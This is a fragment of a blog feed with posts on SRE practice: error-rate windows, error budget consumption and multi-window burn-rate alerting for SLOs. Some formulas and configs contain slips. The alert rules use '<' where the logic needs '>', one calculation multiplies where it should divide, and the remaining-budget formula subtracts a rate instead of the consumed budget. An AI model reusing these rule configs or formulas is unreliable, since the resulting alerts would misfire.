&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When evaluating the Error Rate (ER), it’s important to assess it over time windows. For instance, in this case, each evaluation considers a time window of 5 minutes (time_window=5m). The values are still arranged as initially shown but grouped into time segments:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; *+**+*+ ****+** +*+*++* ****+
|-------|-------|-------|----&amp;gt;
0m     5m      10m     15m  ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Overlap can occur in data points when assessing with smaller time windows using a rolling-window mechanism.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/rolling-window.png&quot; alt=&quot;rolling-window&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To address this issue, simply ensure that the interval between evaluations is &amp;gt;= time_window. However, this will increase the detection time because interval will equivalent to time to return evaluation result. Thus, a higher interval will result in longer detection times.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; *+**+*+ ****+** +*+*++* ****+
|-------|-------|-------|----&amp;gt;
0m     5m      10m     15m  ...
       (1)     (2)     (3)
        ^       ^       ^
        |       |       |
---(G1)-+--(G2)-+--(G3)--
                |
                v
      ______________________
     |                      |
     | Error rate aggregate |
     |______________________|

Legend:
  tw: time window (= 5m)
  (1) (2) (3): Times of ER collection (n)
  (G1) (G2) (G3): Groups of data points considered in each corresponding evaluation (chunks)

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The groups of data points allocated per time window are represented as shown above, dividing the 15m period into 3 evaluation stages corresponding to groups G1, G2, G3. From there, the aggregated Error Rate from each time window is calculated as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Error rate aggregate phase:

----------------------------------------------------------------------------------------
|   n   |  chunks  |   time range   |  total event  |   bad event    |    error rate    |
---------------------------------------------------------------------------------------
|  (1)  |    C1    |     0m -&amp;gt; 5m   |      7        |        3       |       0.42       |
|  (2)  |    C2    |     5m -&amp;gt; 10m  |      7        |        1       |       0.14       |
|  (3)  |    C1    |     10m -&amp;gt; 15m |      7        |        4       |       0.57       |
========================================================================================
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The example simulates events that are evenly distributed across time segments, but reality will be different. However, the way to aggregate ER is completely similar.&lt;/p&gt;

&lt;p&gt;Therefore, the error rate index needs to be cross-referenced with the Error Budget to compute the amount of Error Budget Remaining for the service. For instance, if at an evaluation stage (t), ER = 0.42 is obtained, how much EB does this ER “burn”?&lt;/p&gt;

&lt;h2 id=&quot;evaluating-service-compliance&quot;&gt;Evaluating service compliance&lt;/h2&gt;

&lt;p&gt;The EBR value at the start of each cycle is initialized with 100% EB. This means, if you have EB = 33.6h per month, equivalent to 6.72h EB per cycle (week), each cycle starts with 6.72h EB and resets at the end of each cycle. Whenever a bad event occurs, the amount of EBR decreases until it reaches 0 (exhausted). If EBR is exhausted earlier than expected, the service violates compliance.&lt;/p&gt;

&lt;p&gt;-&amp;gt; So, how is the amount of EB exhausted based on the calculated ER?&lt;/p&gt;

&lt;p&gt;For clarity, using the example above, in the initial evaluation stage, ER = 0.42 (42% of events are bad) within 5 minutes. This allows us to calculate the Error Budget consumed and the Error Budget Remaining:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;At time t:

EB(consumed)[t] = ER[t] * time_window = 0.42 * 5 = 2.1 (minutes)
EBR[t] = EBR[t] - ER[t] = 6.72h - 2.1m = 6.685 (hours)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;-&amp;gt; Therefore, a 42% Error Rate will consume 2.1 minutes of Error Budget.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Applying this calculation method allows us to deduce EB(consumed) and EBR at subsequent evaluation stages:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Error rate aggregate phase:

-------------------------------------------------------------------------------------------------------------------------------------------------------
|   n   |  chunks  |   time range   |  total event   |   bad event    |    error rate    |   EB consumed (by minutes)   |      EBR (by hours)         |
-------------------------------------------------------------------------------------------------------------------------------------------------------
|  (1)  |    C1    |    0m -&amp;gt; 5m    |       7        |        3       |       0.42       |           2.1                |             6.685           |
|  (2)  |    C2    |    5m -&amp;gt; 10m   |       7        |        1       |       0.14       |           0.7                |             6.673           |
|  (3)  |    C3    |    10m -&amp;gt; 15m  |       7        |        4       |       0.57       |           2.85               |             6.6255          |
=======================================================================================================================================================
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>SLO Alert for detect and alert service state</title>
   <link href="https://vuvietnguyenit.github.io/alerting-on-slo-for-incident"/>
   <updated>2024-04-30T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/alerting-on-slo-for-incident</id>
   <content type="html">&lt;p&gt;Using SLO (Service-Level Objective) for determine issue about Reliability of system is good choice that’s today system using for estimate ability “Serve enduser good enough” or “Detect issues about healthy of system” under view of Engineer. Maybe SLO not bring much value when system is operating stably or in other words “stasifying user” the way we see it from “surface”. However, for evaluate more accurate something what we see requires accurate statistic and from this we can evaluate “quality” system more exactly.
So, SREs (Site-Reliability Engineer) using SLO for determine “threshold” that they think it serve enduser “good enough”&lt;/p&gt;

&lt;p&gt;There is no problem when system running stably like something we hope. This will be more difficult when system extend over time. At this time, complexity will be linear increase with risk that the system will meet. Identify problems before it happen help SREs have better strategy for response, so target will focus to metrics around SLO.&lt;/p&gt;

&lt;h2 id=&quot;idea-for-determine-risks-using-error-budget-eb&quot;&gt;Idea for determine risks using Error Budget (EB)&lt;/h2&gt;

&lt;p&gt;It makes sense that our first step would be to define warnings related to “Error Budget (EB) will likely run out in the next X days.”, this more early with target that team defined. That mean, maybe using current SLI (Service-Level Indicator) for calculate Error Rate (ER) of system and ratio it with EB determine before for return result about Budget Remaining (BR).&lt;/p&gt;

&lt;p&gt;That idea with key concept is: “If at a time, the amount of EB “burned” will be proportional with severity of problem encountered”&lt;/p&gt;

&lt;p&gt;That mean, at a time, the amount of EB more burned &amp;lt;-&amp;gt; The issue is even more concerning&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;What does this mean ?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Example, we have a cycle for evaluate SLO is 28 days (time_window=28d) and SLO threshold defined is 99.9% (SLO = 0.999) requests received will be handle successful by the server.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-&amp;gt; EB = 1 - SLO = 1 - 0.999 = 0.001
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is request ratio that system &lt;strong&gt;Allow handle error&lt;/strong&gt; in 28d time window. If exceed, “mission fail” (Did not reach the goal).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Let’s say within 28 days, we have total 1 million requests received. According to target we have set, the system &lt;strong&gt;will only be allowed for handle failed 1000 requests&lt;/strong&gt; and &lt;strong&gt;999,000 requests remaining will have to be be handle successful&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If our system running stably like something we hope, then after 28 days, 100% EB will be exhausted (corresponding with EB = 0% after 28 days). This means the same thing about &lt;strong&gt;Burn rate = 1&lt;/strong&gt;. This case called “perfect case”&lt;/p&gt;

&lt;p&gt;-&amp;gt; When outages occur with system, suppose we calculate and determine that this will exhausted 100% EB after the 14th days (1/2 time_window) -&amp;gt; &lt;strong&gt;Burn rate = 2&lt;/strong&gt; (EB burn fast double -&amp;gt; This mean we will have problems with double risk).&lt;/p&gt;

&lt;p&gt;At this time, we can show charts corresponding between time window and burn rate (with time_window = 30 days in bellow image)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/image.png&quot; alt=&quot;burn rate with time window&quot; /&gt;&lt;/p&gt;

&lt;p&gt;SLO target is set will be considered passed if in time window, amount EB not “exhausted” earlier. This idea base on EB amount consumed corresponding with (BR) in “perfect case” for estimate system health could be worse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&amp;gt; The higher the burn rate at SLO time window, the faster EB is exhausted -&amp;gt; the greater the risk.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From there we can be seen evaluating periodically and alert prolems related error budget consumed is necessary.&lt;/p&gt;

&lt;p&gt;How evaluate and alert periodically is the question arises now, the following plan we can use for identify EB threshold consume of system for alert when the service has problem.&lt;/p&gt;

&lt;h2 id=&quot;solution-for-identify-burn-rate&quot;&gt;Solution for identify burn rate&lt;/h2&gt;

&lt;p&gt;With 100% SLO (SLO = 1) in 28d corresponding 672h system up (always up and not include any incidents in 672h). However, this story is completely unfeasible because any system or service will have downtime when we deploy new feature, resolve incidents. So, SLO we set require will be smaller than 100%&lt;/p&gt;

&lt;p&gt;As mentioned above, we have set SLO = 0.999 (99.9%) in 28 days period, this equivalent to:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;28 * 24 * 0.999 = 671.328h uptime =&amp;gt; allow 0.672h (~ 40.32 minutes) downtime in 28 days period.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;=&amp;gt; Error Budget (EB) = 0.001 (0.1%) &amp;lt;=&amp;gt; 40.32 minutes in 28 days, that means in 28 days period we only have 40.32 minutes downtime.&lt;/p&gt;

&lt;p&gt;We had been identify EB, next we can define threshold EB consumed to determine problems system or service.&lt;/p&gt;

&lt;p&gt;Following idea we discussed above. Let go to a specific example as follow:&lt;/p&gt;

&lt;p&gt;“Determine that the system is looking for a problem worth paying attention to when the amount of EB consumed in 1 hour time window is greater than 5%”&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Analysis:&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We have fully Error budget (EB) in 1 cycle 28 days = (40.32 minutes). Following perfect case, avg a hour we allow maximum use:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;40.32 * 28 * 24 = 0.06 minutes (~3.6 seconds) downtime &amp;lt;=&amp;gt; 0.1488% EB/hour
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;So, we can try to set threshold with value &amp;gt; 5% EB (~2 minutes) to firing an alert.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;100% EB corresponding with ~ 40m. At this point, we need define the downtime range so that the service does not impact the previously defined SLO.&lt;/p&gt;

&lt;p&gt;With 5% EB per hour -&amp;gt; We can calculate burn rate:&lt;/p&gt;

&lt;p&gt;$BR = \dfrac{P \times EBc}{tw}$&lt;/p&gt;

&lt;p&gt;With:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;BR: Burn rate.&lt;/li&gt;
  &lt;li&gt;EBc: Error budget consumed.&lt;/li&gt;
  &lt;li&gt;P: Period for SLO eval.&lt;/li&gt;
  &lt;li&gt;tw: Time window. In this case, tw = 1h.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From there, we calulate burn rate limit with 5% EB consumed per hour and we can configurate alerting rule by Burn rate:&lt;/p&gt;

&lt;p&gt;$BR = \dfrac{28 \times 24 \times 0.05}{1} = 33.6$&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule config:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;expr: 
ErrorRate[1h] &amp;lt; 33.6 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, there is one problem occur:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;x 33.6 times EB&lt;/strong&gt; in 1 hour is fit for give decision service occuring problems make consumes EB significantly compare to EB we set. But, if EB consumed &amp;lt; 33.6 times little a bit, there won’t be any alert (for example ER = 33 times EB) athough it “burn” 100% EB in 20.3h*.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;With BR = 33. We calculated Error Budget consumed:&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;$EBc = \dfrac{BR \times tw}{P} = \dfrac{33 \times 1h}{28 \times 24} = 0.049$&lt;/p&gt;

&lt;p&gt;&lt;em&gt;And then, we have time to consume all budget:&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;$T = \dfrac{1 \times tw}{EBc} = \dfrac{1 \times 1h}{0.049} = 20.3h$&lt;/p&gt;

&lt;p&gt;This is overcome by using an additional short time window to detect problems that occur briefly but cause significant to the EB and this require quick response. Additionally, the short window time helps ensure that the chart recovers quickly when the problem is resolved.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/image-1.png&quot; alt=&quot;rolling-window&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;As recommended. We could use &lt;strong&gt;short time window = 1/12 long time window&lt;/strong&gt; with the same burn rate.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Therefore, it is recommended to add an evaluation condition for a short time window to help detect problems make burn significantly EB.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule config:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;expr: 
ER[1h] &amp;lt; 33.6 
OR 
ER[5m] &amp;lt; 33.6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From there, we can see the use of &lt;strong&gt;long time window&lt;/strong&gt; to identify the risks of EB consumption in the future to have plans or solutions to overcome when that situation continues in the coming days while &lt;strong&gt;short time window&lt;/strong&gt; is used to detect problems that have a significant impact on the system and need to be resolved as soon as possible.&lt;/p&gt;

&lt;p&gt;Reference:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.wavefront.com/query_language_windows_trends.html#moving-windows&quot;&gt;https://docs.wavefront.com/query_language_windows_trends.html#moving-windows&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sre.google/workbook/alerting-on-slos/&quot;&gt;https://sre.google/workbook/alerting-on-slos/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Analyze and build model identify value Nth-percent</title>
   <link href="https://vuvietnguyenit.github.io/analyze-and-build-model-identify-value-nth-percent-copy"/>
   <updated>2024-02-28T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/Analyze and build model identify value Nth-percent copy</id>
   <content type="html">&lt;p&gt;When you want identify value of duration time about HTTP requests at N-percentile with dataset only include counter buckets (bins in histogram) and how using linear interpolation for find duration time from average growth rate of buckets on the timeline.&lt;/p&gt;

&lt;p&gt;Let’s follow my notebook:
&lt;a href=&quot;https://www.kaggle.com/code/vuvietnguyen147/analyze-and-build-model-identify-value-nth-percent&quot;&gt;https://www.kaggle.com/code/vuvietnguyen147/analyze-and-build-model-identify-value-nth-percent&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 

</feed>
